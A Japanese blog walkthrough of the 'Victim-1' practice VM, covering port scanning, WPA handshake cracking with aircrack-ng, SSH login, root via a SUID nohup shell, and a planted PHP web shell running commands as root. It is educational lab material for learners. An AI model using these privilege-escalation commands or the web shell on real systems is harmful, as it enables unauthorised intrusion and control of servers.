Victim-1マシンをハッキングする
今回もハッキング・ラボのつくりかたを使って、「Victim-1」マシンをハッキングしていきます!
ところどころ本のやり方とは違うやり方でやっている場合があります。
ご承知おきください。
【攻略1】
1.環境構築
以前投稿した#2を参照してください。
今回のマシンのリンクはこちらです。
2.IPアドレスを調べる
本にはip -4 addr show dev enp0s3でIPアドレスを調べていますが、私はip aで調べました。
どちらでもお好みの方を選んでください。

私の場合192.168.56.108だということが分かります。
前回と同様にターゲットのIPアドレス(Victim-1マシンのIPアドレス)を調べてみましょう。
sudo netdiscover -i enp0s3 -r 192.168.56.0/24

ターゲットのIPアドレスは192.168.56.113だと分かります。
3.ターゲットマシンにpingする
ping 192.168.56.113

30秒くらい待っても返答がありませんでした。
Ctrl+Cで閉じます。
4.ポートスキャンを行う
nmap -p- -Pn -P0 192.168.56.113
-
-p-:全ポートスキャンする -
-Pn:Pingをスキップする -
-P0:-Pnと同じ意味合い
| ポート | 状態 | サービス | 説明 |
|---|---|---|---|
| 22/tcp | open | ssh |
SSH 暗号化されたリモートログイン・サーバー管理用ポート |
| 80/tcp | open | http |
HTTP 通常のWebサーバー(暗号化なしのWebサイト表示)用ポート |
| 8080/tcp | open | http-proxy |
HTTP Proxy Webプロキシや代替Webサーバー(Tomcatや開発環境など)でよく使われるポート |
| 8999/tcp | open | bctp |
BCTP (Base Control Transport Protocol) 独自のAPI、管理サービス、またはCTF等の独自Webアプリで利用されるポート |
| 9000/tcp | open | cslistener |
CSListener PHP-FPM、SonarQube、または独自アプリケーションサーバー等で利用されるポート |
5.ポート80のHTTPにアクセスする

アクセスしてみましたが、「設定ファイルが見つからず、利用可能なインストールコードもありません。終了します…」というような文章が書かれていました。
ソースコードを確認しても特に何も手がかりはありませんでした。
6.アクセスできるファイルがないかGobusterを使って調べる
gobuster dir -u http://192.168.56.113 \-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \-x php,html,txt
今回は長いためコマンドの意味も含めて調べてみました。
-
dir:モードの指定(今回はディレクトリを探すのでディレクトリモードを使用します) -
-u [URL]:ターゲットのURL -
-w:辞書ファイルの指定 -
-x php,html,txt:拡張子の指定
ここでなぜかエラーが出てしまいうまくいきませんでした。おそらくこの記事を書きながら実行していたため、一度スリープ状態に入ってしまい途切れてしまったのかもしれません。
気を取り直して二回目実行します。
うまくいきました!
実行した結果はこちらです。

ここで注目してほしいファイルが2つあります。
1つ目は、robots.txtファイルです。
robots.txtファイルとは「検索エンジン向けのクロール制御ファイル」であり、書かれている内容はどのURLをクロールしてよいか/してはいけないかという指示が書かれているファイルです。
このファイルには以下の内容が書かれていることが多いです。(AIを一部使っているため、違っている場合はお手数ですがコメント欄にて教えていただけると幸いです)
- クローラーの指定 (User-agent)
どのクローラーに対する指示かを指定します。
User-agent: * (すべてのクローラーを対象にする)
User-agent: Googlebot (Googleのクローラーのみを対象にする)
- アクセス拒否の指定 (Disallow)
クローラーに巡回(クロール)してほしくないページやフォルダのパスを指定します。
例:管理画面、会員限定ページ、重複コンテンツ、検索結果ページなど
- アクセス許可の指定 (Allow)
Disallow で拒否したディレクトリの中で、特定のファイルやフォルダだけは許可したい場合に指定します。 - サイトマップの場所 (Sitemap)
Webサイト内の全ページ構造を記した「XMLサイトマップ」のURLを記載し、クローラーに効率よくサイトを理解させます。
具体的な記述例は以下となります。
-
すべてのクローラーに対する指示
User-agent: * -
管理画面や一時フォルダのクロールを拒否
Disallow: /admin/
Disallow: /tmp/ -
ただし、/tmp/public/ 内のファイルだけはクロールを許可
Allow: /tmp/public/ -
XMLサイトマップの場所を指定
Sitemap:https://example.com/sitemap.xml
2つ目は、README.txtファイルです。
README.txtファイルは「そのディレクトリやプロジェクトの説明書」であり、中身は"そのフォルダに何が入っているか・どう使うか・注意点"などが書かれています。
主に5つのことが書かれていることが多いです。
1.プロジェクトの概要
2.インストール方法・使い方
3.ファイル構成の説明
4.注意点・既知の問題
5.ライセンスや著作権
これらを悪用できる可能性があります。
まずは、ブラウザでhttp://192.168.56.113/robots.txtにアクセスしてみましょう。

次に、http://192.168.56.113/README.txtにアクセスします。

Joomla3.9が採用されていると書かれていますが、そもそも私はJoomla3.9とは何か知らなかったため調べてみました。
Joomla!とは、HTMLやCSSなどのプログラミング知識が少なくてもWebサイトを構築・更新できるオープンソースのCMSのことです。
WordPressと似ていますが、Joomla!はより柔軟なアクセス制限や高度なサイト構造にすることができます。
3.9の特徴としては、プライバシーを管理するツールがあったり、操作ログを取ることができるという点がありました。
7.ポート8080のHTTPにアクセスする
まずは、ブラウザでhttp://192.168.56.113:8080にアクセスしてみます。

ポート8080も先ほどと同様にGobusterを使って調べます。
gobuster dir -u http://192.168.56.113:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt

何回も実行したのですが、ERRORになってしまいできませんでした。これの理由としては3つあります。
1.サーバー側の処理負荷(オーバーロード)
Gobuster がデフォルトで同時に多数のリクエストを送信するため、ターゲット Web サーバーの処理が追いつかなくなり、応答を返せなくなっている可能性が最も高い。
2.ネットワークの遅延・不安定
仮想マシン(Host-Only ネットワーク等)の負荷が高まり、通信が途切れたり遅延したりしている。
3.サーバーがクラッシュした・サービスが停止した
大量のリクエストによって Web サーバーのプロセスがダウンした可能性がある。
passwords.txtというファイルがあることが分かりました。ひょっとしたらパスワードが入っている可能性もありそう……ということでブラウザでhttp://192.168.56.113:8999/と入力し開いてみましょう。

すると、ファイルの一覧が表示され、ファイルの名前からWordPressのファイルと推測できます。
1つだけ権限がrootのWPA-01.capファイルがあります。ダウンロードしましょう。
右クリックしてCopy Linkをクリックします。
Victim-1マシン用のディレクトリを作成し、wgetコマンドを使ってファイルをダウンロードします。


lsコマンドを使ってファイルがダウンロードできているか確認してみましょう。
8.キャプチャーファイルを調べてみる
fileコマンドを使って、ファイルの形式を調べます。
file WPA-01.cap

調べた結果、PCAP形式のキャプチャーファイルだと分かります。
次にcapinfosコマンド使い、キャプチャーファイルの全体的な基本情報を表示します。
capinfos WPA-01.cap

このことから、2020年4月2日に約4分半にわたってキャプチャされた、1,918個のWi-Fi(IEEE 802.11)通信パケットファイルの詳細情報を示しています。
tsharkを用いてWPA-01.capファイルを調査していきます。このコマンドを実行することで、プロトコルごとの統計情報(パケット数とバイト数)を表示することができます。
tshark -r WPA-01.cap -q -z io,phs

この結果から、無線LANのパケットデータだけ含まれていることが分かります。
次はWiresharkを使ってパケットの中身を解析していきます。
9.キャプチャーファイルの中身を解析する
まずは、Wiresharkを開きます。
ParrotOS特有の鳥マークをクリックし、下の方にある検索バーにWiresharkと入力するとWiresharkと出るためクリックしてください。
私はrootユーザーにしていなかったためパスワードの入力を求められました。その場合はいつもログインするパスワードを入力してください。

この画面が出ていればWiresharkを開くことができています。
ファイル>開くをクリックして、ファイルを選択します。


このような形でファイルを選択します。
その後、開くをクリックしてファイルを開いてください。

このようになっていればファイルを開くことができています。
1.のパケットを選択し、左下のところにこのような感じで表示されていることを確認してください。

次にIEEE 802.11 Wireless Managementと書かれているところが>なっていたら、クリックをして>が下になっていることを確認してください。
Tagged parametersのところが>なっていれば、また先ほどと同様に下になるようにしてください。
その後、Tag: Vendor Specific: Microsoft Corp.: WPA Information ElementとTag: SSID parameter set: dlinkが先ほどと同じ状態になっていれば直してください。
この写真からESSIDがdlink、暗号化方式がWPAのバージョン1であることが分かりました。
このWPAバージョン1はTKIPというプロトコルが採用されています。現在は非推奨で廃止されているため、使用することはできません。
10.無線LANのパスワードを解析する
Aircrack-ngを使用して、辞書攻撃をします。辞書ファイルはrockyouファイルを使用します。
aircrack-ng WPA-01.cap -w /usr/share/wordlists/rockyou.txt
- aircrack-ng:Wi-Fiの暗号化パスワードを解読するために使われる、代表的なオープンソースのセキュリティツールのこと
- WPA-01.cap:事前にキャプチャしておいたWi-Fiの通信データファイル(パケットキャプチャ)のこと。この中には、Wi-Fiに接続する瞬間の認証データが含まれている
- -w:辞書を指定するオプションのこと
rockyou.txtとは実際に流出した大量のパスワードがまとめられた世界的に有名な辞書ファイルで、今回使用しているParrotOSやKali Linuxに標準で入っています。

この結果から、無線LANのパスワードはp4sswordであることが判明しました。
この情報がひょっとしたら、SSHのログインに使えるかもしれません。
ログインしてみましょう。
11.SSHにログインする
ssh dlink@192.168.56.113
12.OSを特定する
ここでOSを特定する理由としては権限昇格を行うため必要だからです。権限を奪うための攻撃手法や設定の場所が、OSの種類やバージョンによって変わってしまうからです。
uname -aで調べることができます。
実行した結果がこちらです。
Linuxカーネル4.15.0-96(Ubuntu)で動作していることが分かりました。これでOSのバージョンを特定することができました。
13.sudoを調べる
sudo -l
このコマンドを実行することでsudoコマンドで実行可能なコマンドを調べることができます。

/usr/bin/TryHarder!というプログラム(バイナリファイル)はパスワードなしで、すべてのユーザー権限で実行することができるように設定されていました。
lsコマンドで調べてみるとファイルが存在しませんと表示され、特に手がかりがありませんでした。
14.SUIDファイルがないか調べる
findコマンドを使用して、SUIDを調べます。
find / -perm -4000 -ls 2> /dev/null
-
find /:ルートディレクトリを起点にして、 -
-perm -4000:SUID権限が設定されているファイルを検索条件として指定している。先頭の4はSUIDのことを指します。-が付いていることで、「少なくともSUID権限(4000)を含んでいるファイル」を対象にしている -
-ls:該当するファイルを見つけた際、ls-dilsと同等のフォーマットで所有者、権限、ファイルサイズ、更新日時などの詳細情報を一覧表示する -
2> /dev/null:エラーメッセージを画面に出さずに破棄する。これを付けることによって、一般ユーザー権限で検索した際アクセス権がないディレクトリでPermission deniedというエラーメッセージを出さないようにしてくれます。
結果はこのようになりました。
ここで注目していただきたいのがnohupコマンドです。このコマンドはターミナルを閉じてもバックグラウンド処理を止めずに実行し続けさせるためのコマンドです。
今回はnohupコマンドを使って権限昇格を行います。
まず初めに、nohupコマンドのパスを調べます。
which nohup
SUIDと同じ/usr/bin/nohupだと分かります。このことにより、root権限で実行されることから権限昇格を行えます。
nohupコマンドを利用してシェルを起動するために、次のコマンドを実行します。
nohup /bin/sh -p -c "sh -p < $(tty) > $(tty) 2> $(tty)"
"nohup: ignoring input and appending output to 'nohup.out'"このメッセージは「入力を無視し、出力を'nohup.out'に追記します」という意味ですが、nohupコマンドを実行した際に表示される標準的な警告(仕様)です。権限昇格の成否には影響しないため、気にせず無視して問題ありません。
このコマンドを見ただけではどういうことをしているのか理解できなかったため、もう少し噛み砕いて説明します。
大きく分けて2つに分けて説明していきます。
①$(tty)による入出力の再リダイレクト
-
ttyコマンド:現在接続している端末のデバイス名(例:/dev/pts/0)を出力する - `< $(tty) > $(tty) 2> $(tty):
- '< $(tty)':標準入力を現在の端末に設定
- '> $(tty)':標準出力を現在の端末に設定
- '2> $(tty)':標準エラー出力を現在の端末に設定
nohupは通常、バックグラウンド実行用に端末からの入出力を切り離そうとします。そのため、そのままでは対話的なシェル(操作可能なプロンプト)が開きません。
ここで$(tty)を使って明示的に入出力を現在の端末(TTY)へ再接続することで、端末上で直接シェルを操作できるようにしています。
②/bin/shと-pオプション(SUID対策の回避)
- 実ユーザー(RUID)と実効ユーザー(EUID):
通常プログラムは実行したユーザーの権限で動作しますが、SUIDが設定されたファイルを実行すると「実効ユーザー=ファイルの所有者(root)」として動作します。 -
shの保護機能:
/bin/sh(bashなど)はセキュリティ上の理由から、起動時に「実ユーザーID」と「実効ユーザーID」が一致しているかをチェックします。一致しない場合(SUIDで起動された場合)、勝手に実効ユーザー権限を落として一般ユーザーに戻してしまいます。 -
-pオプションの役割:
-p(privileged)オプションを付けることで、この保護機能を無効化し、実効ユーザー権限(root権限)を維持したままシェルを起動することができます。
nohupによって切り離されそうになる標準入力・出力・エラー出力を$(tty)で現在の端末へ強制的に再リダイレクトして操作可能なプロンプトを確保しつつ、/bin/shの-pオプションでSUIDによる実効ユーザー(root)権限を落とさずにシェルを起動させています。
15.フラグを奪取しよう
権限昇格がしっかり行えているかidコマンドを実行してみます。
id
root権限になっていることが確認できました。
pwdコマンドを使って、自分が今、どのディレクトリ(フォルダ)にいるかを確認しましょう。
pwd
/home/dlinkにいるため/rootに移動してみましょう。
cd /root
lsコマンドでflagに繋がるファイルがないか調べます。
ls
すると、flag.txtというフラグが入ってそうなファイルがあります。catコマンドを使って中身を開いてみましょう。
フラグが出ました!!
攻略1は以上となります。
【攻略2】
1.ポート9000を調べる
次は別なやり方でフラグを出す方法を解説していきます。
4.(本では⑥)でNmapを使ってポートスキャンを行った際、ポート9000も開いているということが分かったかと思います。
今回はポート9000を調べていきます。
ブラウザでhttp://192.168.56.113:9000と入力し、アクセスします。
するとこのような画面が出たかと思います。
意味を訳すと
キャッチされていない例外が発生しました。
Boltデータベースドライバーのエラーです。
データベースの種類としてSQLiteが選択されていますが、ドライバーが存在しないか読み込まれていません。pdo_sqliteドライバーをインストールしてください。
デバッグ機能が利用できないか、またはログインしていません。例外の完全なバックトレース(詳細なエラーログ)を確認するには、次のいずれかを行ってください。
と書かれていました。
2.SSHに接続する
先ほどと同様にSSHに接続します。
ssh dlink@192.168.56.113
3.書き込みできそうなディレクトリを探す
findコマンドを使用して、書き込むことができそうなコマンドを探します。
find / -type d -writable 2> /dev/null
-
find /:ルートディレクトリ(/)以下、システム全体を検索する -
-type d:検索対象をディレクトリだけに絞り込む -
-writable:自分が「書き込み可能なもの」だけにマッチさせる -
2> /dev/null:権限がなくてアクセスできない場所の「許可がありません」といったエラーメッセージを画面に出さずに捨てる
このコマンドを実行することで自分の攻撃やコマンドを実行して権限昇格ができそうな隙をシステム全体から探し出しています。
その結果がこちらです。

この結果から権限昇格に繋がりそうな怪しいディレクトリが4つあります。
/var/www/bolt/app/config/var/www/bolt/app/cache/var/www/bolt/app/database/var/www/bolt/app/files
これらはWebアプリケーションの管理用・設定用フォルダです。通常、Webサーバーの設定ファイルやデータベースのあるフォルダに一般ユーザーが書き込める権限(-writable)があるのはセキュリティ設定ミスです。
-
/configや/databaseに書き込める場合:設定ファイルを書き換えてログイン処理を破綻させたり、データベースを上書き・改ざんできる可能性がある -
public/filesに書き込める場合:Webブラウザからアクセスできる場所に「悪意のあるプログラム(Webシェルなど)」を置いて実行させることができる
次にfindコマンドでフルパーミッション(パーミッションコードが777)のディレクトリを探してみます。
find / -perm -0777 -type d -ls 2> /dev/null | grep -Ev proc\|sys\|usr\|sbin\|dev\|lib\|etc
コマンドの意味を詳しく解説していきます。
-
find /:ルート(/)からシステム全体を検索 -
-perm -0777が777(drwxrwxrwx:所有者・グループ・その他の誰でも全操作が可能)のものを探す -
-type d:検索対象を「ディレクトリ(フォルダ)」に限定する -
-ls:見つかったフォルダの「権限」「所有者」「作成日時」などの詳細情報を表示する -
2> /dev/null:権限がない場所を検索した際に出る「Permission denied(アクセス拒否)」のエラー表示を消去する -
|(パイプ):前半の検索結果を、後半の処理(grep)にそのまま引き渡す -
grep -Ev "...":指定したキーワードを含む行を除外する -
proc\|sys\|usr\|sbin\|dev\|lib\|etc:/procや/sysなど、Linuxが動くうえで最初から存在しているシステム用フォルダを除外対象として指定している
なぜ、除外するかというとLinuxには/procや/sysといったシステム用の場所にも、全権限(777)のフォルダが自動で大量につくられます。
これをそのまま検索すると、画面が何百行も埋まってしまい、本当に探したいフォルダが分かりにくくなってしまいます。
そのため、後半のgrepでシステム関係のフォルダを一括カットし、見つけやすくしています。
実行した結果以下のようになっていました。

どうやら先ほど目を付けた4つのファイルはユーザー権限でも読み込み、書き込み、実行できるようになっていました。また、ディレクトリの所有者がrootだと分かります。
先ほどのファイルで最も権限昇格を行うことができるファイルは/var/www/bolt/public/filesです。
なぜ、/var/www/bolt/public/filesなのかというと大きく分けて2つあります。
1.ファイルを置くことができ、Webブラウザで動かすことができる
先ほど権限が777のものを探したかと思いますが777は読み取り、書き込み、実行することができるため、つまり好きなファイルを書き込むことができ、実行することができるということが分かるからです。
さらに、publicなためWebサーバーの公開フォルダ内にあるため、ブラウザでそのURLを開くだけでプログラムが実行されます。
2./var/www/bolt/public/filesはブラウザから直接アクセスしてプログラムを起動することができる
他の/var/www/bolt/public/configなども同じく書き込みや読み取りなどができますが、ファイルをおくことができても外部から直接そのファイルを開いて実行することができません。
ですが、/var/www/bolt/public/filesにファイルをおいた場合、アクセスするだけで、置いたプログラムがそのまま動いてサーバーを操作できてしまいます。
これらのことにより今回は/var/www/bolt/public/filesの中身を調べていきます。
4./var/www/bolt/public/filesの中を調べる
まずは、/var/www/bolt/public/filesに移動します。その後、lsコマンドを使ってディレクトリの中を調べます。
以下のようになりました。

catを使って、index.htmlファイルと.htaccessファイルを開いてみましょう。
開いた結果以下のようになりました。

実際にhttp://192.168.56.113:9000/filesにアクセスしてみます。

先ほどファイルを開いた時にあった、inndex.htmlであることが分かります。
5.Webシェルを設置する
4.のことから/var/www/bolt/public/filesにファイルを置き、そのファイルに外部からアクセスできることが分かりました。Webシェルを設置し、ブラウザからシェルにアクセスできるようにします。
Webシェルを設置する理由としては、Webサーバーを経由してrootにアクセスできるようにするためです。
今回はPHPのWebシェルを使います。先ほど.htaccessをcatで開いた際、特定の拡張子のファイルをテキストとして表示させるForceType text/plainの設定が書かれていたのですが、その対象に.phpが含まれていなかったためPHPを使って、ルートにアクセスできるか試みていきます。
ファイルの名前はお好みの名前で分かりやすいものにしてください。私は今回本に書かれている通りshell.phpにしました。
nano shell.php
以下の内容を記述してください。
<?php
system($_GET['cmd']);
?>
保存する際はCtrl+Oをして、Enterを押します。終了させる場合はCtrl+Xをして、先ほどと同様にEnterを押します。
ここで、このPHPの記述した内容について少し解説していきます。
-
$_GET['cmd']:URLの末尾についた?cmd=○○という文字(パラメータ)を受け取る仕組み -
system(…):受け取った文字を、サーバーのOS(Linuxなど)の管理コマンドとして実行し、その結果を画面に表示するPHPの関数のこと
URLのパラメータを使って、サーバー上で自由なコマンドを実行できてしまいます。
6.Webシェルを通じて、コマンドを実行してみよう
ブラウザでhttp://192.168.56.113:9000/files/shell.php?cmd=idにアクセスしてみましょう。「cmd=」以降にコマンドを指定します。

すると、idコマンドが実行され、実行結果がブラウザに表示されていることが分かりました。また、uid=0(root)と表示されていることから、ルート権限で実行されていることが分かります。
ルート権限で実行されているということは先ほどと同様にlsコマンドを使って/rootにflag.txtがあると推測できます。
http://192.168.56.113:9000/files/shell.php?cmd=ls /rootにアクセスしてみましょう。

期待通りflag.txtがあることが分かりました。
あとは攻略1と同様にcatコマンドを使って中身を開きましょう。
http://192.168.56.113:9000/files/shell.php?cmd=cat /root/flag.txtにアクセスしてみましょう。

開くことができましたが、形が崩れてしまっているため右クリックをしてView Page Sourceをクリックするとこのように形が崩れずに表示することができます。

これで攻略2は以上となります。
最後までご覧いただきありがとうございました。


